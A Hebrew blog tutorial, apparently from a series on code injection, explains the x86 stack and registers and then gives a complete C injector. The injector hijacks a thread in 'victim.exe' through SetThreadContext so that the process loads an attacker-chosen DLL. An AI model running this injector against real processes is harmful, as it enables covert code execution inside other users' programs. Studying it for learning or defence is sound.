המדריך למזריק (DLL) המתחיל – DLL Injecion Using SetThreadContext - מאמר שלישי בסדרת הזרקות קוד ו-HOOKING
הקדמה
ברוכים הבאים למאמר השלישי בסדרת המאמרים שלי בנושאי הזרקות קוד ו-Hooking. במאמר הבא אדבר על DLL Injection תוך שימוש ב-SetThreadContext. יש הקוראים לשיטה זו גם DLL Injection using Code Caves. ניתן להגיד שביחס לשני המאמרים הקודמים בסדרה (אפשר למצוא אותם כאן וכאן), המאמר הבא הוא קפיצת מדרגה. ניגע בנושאים שקרובים יותר לתחתית המערכת ולא נסתפק במעטפת האבסטרקטית בה הסתפקנו בשיטות הקודמות. במידה ולא עשיתם DLL Injection מעולם, וזו הפעם הראשונה שאתם מתנסים בתקיפה זו, מומלץ לקרוא את המאמר הראשון בסדרה. המאמר השני מראה שיטה נוספת שטיפה יותר מורכבת מהשיטה המובאת במאמר הראשון אך לא מורכבת מידיי. השיטה שנדבר עליה היום היא המורכבת ביותר מבין השלוש. אם יש לכם ידע ב-Assembly ובצורת פעולת המחסנית, יהיה לכם מעט יותר קל. אם אין לכם – אל דאגה אני אעבור שלב אחרי שלב כדי לא להשאיר אף אחד מאחור.מאחר והטכניקה עוסקת בצורה שבה המחסנית עובדת, אתחיל מלהסביר איך המחסנית עובדת ואיך פונקציות משתמשות במחסנית. אשתדל לשמור על מיקוד מבלי לסטות לנושאים אחרים כי אפשר להיכנס דרך המון דלתות לנושאים מרתקים בהקשרים של מה שנדבר אך זו אינה מטרת המאמר. אם אני מדבר מהר מידיי תעצרו אותי. אחרי שנבין איך המחסנית עובדת, נדבר על הטכניקה עצמה. כאן אני ממליץ לעצור ולנסות לממש לבד (במיוחד אם אתם בבידוד בגלל הקורונה ויש לכם המון זמן פנוי). לאחר שמימשתם (גם אם לא הצלחתם), חזרו למאמר והמשיכו לקרוא כיצד ממשתי את הטכניקה. אצרף את הקוד המלא בסוף המאמר. אז תפשילו שרוולים ובואו נתחיל.
מחסנית In a nutshell
מחסנית היא מבנה נתונים מאוד נפוץ במדעי המחשב. המחסנית עובדת בשיטת Last In First Out או בקצרה LIFO. תחשבו על ארגז שאתם מכניסים אליו ספרים בתור. הספר האחרון שהכנסתם, כלומר זה שנמצא מעל כולם, הוא הראשון שתוציאו כשתוציאו את הספרים מהארגז. כך גם המחסנית עובדת. הערך האחרון שנכנס הוא הראשון שייצא. בנוסף לכך, המחסנית עובדת כך שההתחלה שלה נמצאת בכתובת הגבוהה ביותר והסוף שלה נמצא בכתובת הנמוכה ביותר וכך היא גדלה. זה אומר, שהנתון הראשון שאני אדחוף למחסנית יקבל כתובת גבוהה יותר מהנתון השני. הנתון השני יקבל כתובת גבוהה יותר מהנתון השלישי וכך הלאה. נראה זאת עם תרשים בסופה של הפסקה. לכל Thread בתהליך יש מחסנית משלו שהוא עובד מולה. מכיוון שכל Thread רץ בלי קשר ל-Thread-ים אחרים (יותר נכון, ניתן שזה יהיה המצב אך זה תלוי במתכנת), מתכנני מערכת ההפעלה הבינו שצריך שלכל Thread יהיה את המחסנית שלו וכך האחריות לסנכרן בין Thread-ים על מחסנית יחידה, לא מוטלת על המתכנת. אין דריסה של נתונים במחסנית בין Thread-ים וכך כולם מרוצים. ישנו מבנה נתונים נוסף שאולי שמעתם עליו – ה-Heap, או בעברית ערימה. לא נתייחס למבנה נתונים זה כי הוא אינו חלק מהתקיפה.אוגרים הם לא רק בעלי חיים חמודים
לכל מעבד יש מספר אוגרים. אוגר הוא יחידה מאוד בסיסית וקטנה לאחסון נתונים במעבד. למעבד יש מספר אוגרים – כל אחד משמש למטרה שונה. ישנם אוגרים ל-Debugging, ישנם אוגרים לחישובים מתמטיים, ישנם אוגרים לניהול המחסנית ועוד. האוגרים שאני רוצה לדבר עליהם הם האוגרים EAX, EIP, ESP ו-EBP. גודל האוגרים נקבע לפי ארכיטקטורת המעבד. אם המעבד הוא x86, כלומר 32bit – האוגרים יהיו בגודל 32bit. אם המעבד הוא x64 כלומר 64bit, .. הבנתם. האוגר EAX הוא אוגר מאוד נפוץ לשימוש ואם תסתכלו על קוד ב-Assembly סביר להניח שזה אחד האוגרים הנפוצים יותר בקוד. EAX משמש בעיקר לפעילות מתמטית (ביחד עם עוד כמה אוגרים). אולם לא רק. EIP הוא אוגר שאחראי להכיל את הכתובת של הפקודה הבאה שהמעבד צריך להריץ. זה אומר שאם ישנו תנאי שאומר "אם קורה X אז תעשה את הפקודה שיושבת בכתובת A", והתנאי אכן מתקיים, אז בסיום בדיקת התנאי ולאחר הוראת הקפיצה המממשת את תוצאת התנאי, האוגר EIP יכיל את A. ואז המעבד יריץ את הפקודה הנמצאת ב-A. כנ"ל לגבי קריאה לפונקציות. כאשר אנו קוראים לפונקציה איך המעבד יודע להריץ את הפונקציה אם היא לא ההוראה הבאה בתור כמו שאר ההוראות? באמצעות הזנת הכתובת של תחילת הפונקציה לאוגר EIP. אולם, אם אין קפיצה ספציפית כמו תנאי או קריאה לפונקציה, ה-EIP יהיה הכתובת של הפקודה הבאה בקוד פשוט. האוגרים ESP ו-EBP הם אוגרים שעובדים ביחד. אסביר.בכל פונקציה יכולים להיות פרמטרים ומשתנים מקומיים (כאלו שהפונקציה מגדירה וימותו אחרי שהיא תסיים לרוץ). כדי לסדר את העבודה ולהפריד את המידע שהפונקציה מחזיקה (פרמטרים, משתנים וכו'), צריך הפרדה לוגית בין המחסנית של הקוד שקרא לפונקציה לבין המחסנית של הפונקציה עצמה. ההפרדה הזו, ניהול המחסנית הזה, מתבצעים באמצעות האוגרים ESP ו-EBP. המתחם שיש לכל פונקציה במחסנית נקרא Stack Frame. ה-Stack Frame נתחם על ידי האוגרים ESP ו-EBP כך ש-EBP מצביע על בסיס ה-Stack Frame וה-ESP מצביע על סוף ה-Stack Frame. עכשיו, בהנחה שהבנתם את ההסבר שלי על מבנה המחסנית, מה יכיל כתובת גבוהה יותר, ה-ESP או ה-EBP
הערה: במחשבה שנייה סביר שחלקכם תקמפלו עם x64 בטעות או מרצון ועל כן ההסבר לא יתאים לכם ולכן אזרוק משפט או שניים על ההבדל בין קריאה לפונקציה בקובץ 64bit לבין קריאה לפונקציה בקובץ 32bit. ב-32bit אתם כבר יודעים מה קורה - הכל עובר דרך המחסנית (אני מדבר על stdcall ו-cdecl). ב-x64 זה לא נכון. מה שקורה ב-x64 זה שהפרמטר הראשון עובר דרך rcx, השני דרך rdx, השלישי דרך r8d והרביעי דרך r9d. ישנן קונבנציות שפעולות אחרת אך המסר שלי כאן הוא שב-x64 יש שימוש בעברת פרמטרים דרך האוגרים לפני שמכניסים למחסנית. הפרמטר החמישי נניח יועבר במחסנית. למקרה שציפיתם לראות ecx ולא rcx - ב-x64 האוגרים מקראים rcx או rax וכו'. ה-32 bit-ים הנמוכים של rax נקראים eax עם אותה חוקיות כלפי שאר האוגרים הכלליים.
התנהלות המחסנית בקריאה לפונקציה
כאשר אנו קוראים לפונקציה, צריך ליצור Stack Frame חדש. צריך לסדר את הפרמטרים שהפונקציה צריכה, צריך לשמר את הכתובת שאליה המעבד יחזור אחרי סיום הרצת הפונקציה וצריך לשמור את הכתובת הקודמת ש-EBP הצביע עליה. אז איך עושים את כל זה באופן מסודר? זה מה שאסביר כעת. אתחיל ואומר, שישנם מספר קונבנציות לעשות את זה. הן נקראות קונבנציות קריאה, או באנגלית Calling Conventions. נדאג לסגור את הנושא שלהם לאחר ההסבר הבסיסי – ממנו נתחיל.מבנה המחסנית, בעת קריאה לפונקציה נראה כך:
כעת נראה איך זה נראה ב-Assembly. ראשית הקוד הקורא:
מחסנית:
ואת מצב האוגרים:
הזרקת DLL עם SetThreadContext
כאמור, לכל Thread יש מחסנית וסט של אוגרים אשר משמשים את האוגר בעת הרצת ה-Thread. המחסנית היא חלק מהזיכרון בסופו של דבר. מגניב, נראה לי שהבנתם לאן אני חותר אך אם בכל זאת זה עוד לא ברור, אסביר. חשבו על כך – אם נוכל לכתוב למחסנית של Thread של תהליך מרוחק את הערכים שאנחנו רוצים ש-LoadLibrary תקבל על מנת לטעון את ה-DLL שלנו, ונשנה את ה-EIP כך שיכיל את הכתובת של LoadLibrary, נגרום ל-LoadLibrary לרוץ וכך לטעון את ה-Thread שלנו. עדיין מבולבלים? זה בסדר, נחלק את זה לשלבים:- מציאת התהליך קורבן והוצאת ה-Thread ID של ה-Thread קורבן.
- פתיחת Handle לתהליך קורבן.
- פתיחת Handle ל-Thread קורבן בתהליך קורבן.
- אלקוץ זיכרון בתהליך קורבן.
- כתיבת הנתיב ל-DLL בתהליך קורבן.
- קבלת הכתובת של LoadLibrary במודול של Kernel32.dll.
- השהיית ה-Thread הקורבן.
- עריכת המחסנית של ה-Thread הקורבן כך שהיא תהיה במצב הנכון לקראת ריצת LoadLibrary.
- עריכת ה-EIP על מנת להריץ את LoadLibray.
- עריכת ה-ESP למיקום של ה-EIP הישן.
- החזרת ה-Thread הקורבן למצב ריצה.
- קבלת DLL Injection.
עכשיו הכל מסודר. לכו תנסו לעשות את זה לבד, תכשלו כמה פעמים ואז תצליחו. לאחר מכן חזרו למאמר והשוו את הקוד שלכם לקוד שלי. אם לא הצלחתם, המשיכו הלאה כי כעת אני מסביר כל שלב יחד עם הקוד המתאים לו.
מימוש והסבר
על כל שלב מציאת התהליך הקורבן על פי שם אני מדלג, הסברתי את זה במאמר הקודם וזו תהיה כפילות מיותרת להסביר את זה שוב. לכן לגבי שלב 1 – אתרכז יותר במציאת ה-Thread ID של ה-Thread קורבן.ברוכים הבאים לחלק שלשמו התכנסנו. כל המאמר מתרכז לששת השורות המופיעות לעיל. כאן אנחנו ממשים את המתקפה. אז מה קורה כאן. שורה 85 – אנחנו לוקחים את הערך של ה-ESP הנוכחי ב-Thread הקורבן ומחסרים ממנו 4 byte-ים. הכתובת המתקבלת תהיה הכתובת של הפרמטר ל-LoadLibrary. הפרמטר הזה הוא המצביע לנתיב של ה-DLL שלנו. בשורה 86 אנחנו כותבים לזיכרון של התהליך במיקום שחישבנו בשורה הקודמת, את המצביע לנתיב של ה-DLL שלנו. בשורה 88 אנחנו מחשבים את הכתובת במחסנית של ה-Thread, בה נרצה להניח את הכתובת חזרה כאשר הפונקציה LoadLibrary תסיים את ריצתה. הכתובת הזו תהיה 4 byte-ים מתחת לכתובת שחשבנו בשורה 85. בשורה 89 נכתוב לשם את הכתובת שמחזיק כרגע ה-Thread הקורבן שלנו. כעת יש לנו ב-ESP מינוס 4 את הכתובת לנתיב של ה-DLL שלנו וב-ESP מינוס 8 את ה-EIP הנוכחי של ה-Thread. אנחנו מתקרבים למצב שבו נריץ את ה-Thread ו-LoadLibrary יטען את ה-DLL שלנו. נשאר לנו שני דברים אחרונים לעשות. הדבר הראשון הוא שינוי ה-EIP של ה-Thread לכתובת של LoadLibrary. הדבר השני זה שינוי ה-ESP לכתובת של ה-EIP הישן. אנחנו לקראת סיום תישארו ערניים (אני ממש לא מבין את מי שלא נרגש בשלב זה של המאמר).
הקוד של ה-Injector
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <Windows.h> | |
#include <tchar.h> | |
#include <TlHelp32.h> | |
int _tmain(int argc, TCHAR * argv[]) { | |
// Create threads snapshot of the current system state | |
HANDLE handleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD | TH32CS_SNAPPROCESS, NULL); | |
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; | |
if (Process32First(handleSnapshot, &processEntry)) { | |
while (strcmp(processEntry.szExeFile, "victim.exe") != 0) { | |
Process32Next(handleSnapshot, &processEntry); | |
} | |
} | |
int pid = processEntry.th32ProcessID; | |
tagTHREADENTRY32 * ptrThread = (tagTHREADENTRY32 *)calloc(1, sizeof(tagTHREADENTRY32)); | |
ptrThread->dwSize = sizeof(tagTHREADENTRY32); | |
if (Thread32First(handleSnapshot, ptrThread) != TRUE) { | |
system("pause"); | |
_tprintf(TEXT("Cannot get first thread\r\n")); | |
return 0; | |
} | |
int tid = 0; | |
while (Thread32Next(handleSnapshot, ptrThread)) { | |
if (ptrThread->th32OwnerProcessID == pid) { | |
tid = ptrThread->th32ThreadID; | |
} | |
} | |
if (tid == 0) { | |
system("pause"); | |
_tprintf(TEXT("Cannot get thread id\r\n")); | |
} | |
HANDLE handleOpenThread = OpenThread(THREAD_ALL_ACCESS, NULL, tid), | |
handleOpenProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid); | |
if (handleOpenProcess == INVALID_HANDLE_VALUE) { | |
system("pause"); | |
_tprintf("INVALID_HANDLE_VALUE for process id: %d\r\n", pid); | |
return 1; | |
} | |
if (handleOpenThread == INVALID_HANDLE_VALUE) { | |
system("pause"); | |
_tprintf(TEXT("Cannot get thread handle for thread id: %d\r\n"), tid); | |
} | |
int injectedDllPathLen = _tcslen(TEXT("D:\\C\\MyFirstDll\\Debug\\MyFirstDll.dll")) | |
* sizeof(TCHAR) + sizeof(TCHAR); | |
LPVOID ptrArg = VirtualAllocEx(handleOpenProcess, NULL, | |
injectedDllPathLen, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); | |
if (WriteProcessMemory(handleOpenProcess, ptrArg, | |
TEXT("D:\\C\\MyFirstDll\\Debug\\MyFirstDll.dll"), | |
injectedDllPathLen, NULL) == 0) { | |
system("pause"); | |
_tprintf(TEXT("Cannot write to remote process memory\r\n")); | |
return 1; | |
} | |
LPVOID ptrAddr = (LPVOID)GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); | |
if (SuspendThread(handleOpenThread) == (DWORD)-1) { | |
system("pause"); | |
_tprintf(TEXT("Cannot get suspend thread for thread id: %d\r\n"), tid); | |
}; | |
LPCONTEXT ptrThreadContext = (LPCONTEXT)malloc(sizeof(CONTEXT)); | |
ptrThreadContext->ContextFlags = CONTEXT_ALL; | |
if (!GetThreadContext(handleOpenThread, ptrThreadContext)) { | |
system("pause"); | |
_tprintf(TEXT("Cannot get thread context for thread id: %d\r\n"), tid); | |
} | |
LPVOID ptrDllPathPtrAddress = (LPVOID)((LPBYTE)ptrThreadContext->Esp - (LPBYTE)(sizeof(DWORD))); | |
WriteProcessMemory(handleOpenProcess, ptrDllPathPtrAddress, &ptrArg, sizeof(DWORD), NULL); | |
LPVOID ptrOldEipAddress = (LPVOID)((LPBYTE)ptrThreadContext->Esp - (LPBYTE)(2 * sizeof(DWORD))); | |
WriteProcessMemory(handleOpenProcess, ptrOldEipAddress, (LPVOID)&(ptrThreadContext->Eip), sizeof(DWORD), NULL); | |
ptrThreadContext->Eip = (DWORD)ptrAddr; | |
ptrThreadContext->Esp = (DWORD)ptrOldEipAddress; | |
if (SetThreadContext(handleOpenThread, ptrThreadContext) != TRUE) { | |
_tprintf(TEXT("Cannot set new context for thread id: %d\r\n"), tid); | |
system("pause"); | |
return 1; | |
}; | |
ResumeThread(handleOpenThread); | |
CloseHandle(handleSnapshot); | |
CloseHandle(handleOpenThread); | |
CloseHandle(handleOpenProcess); | |
system("pause"); | |
} |
עקבתי ומימשתי בעצמי תוך כדי וזה עבד מעולה, אחלה מאמר!
השבמחקתשמעי אחי אתה תותח
השבמחק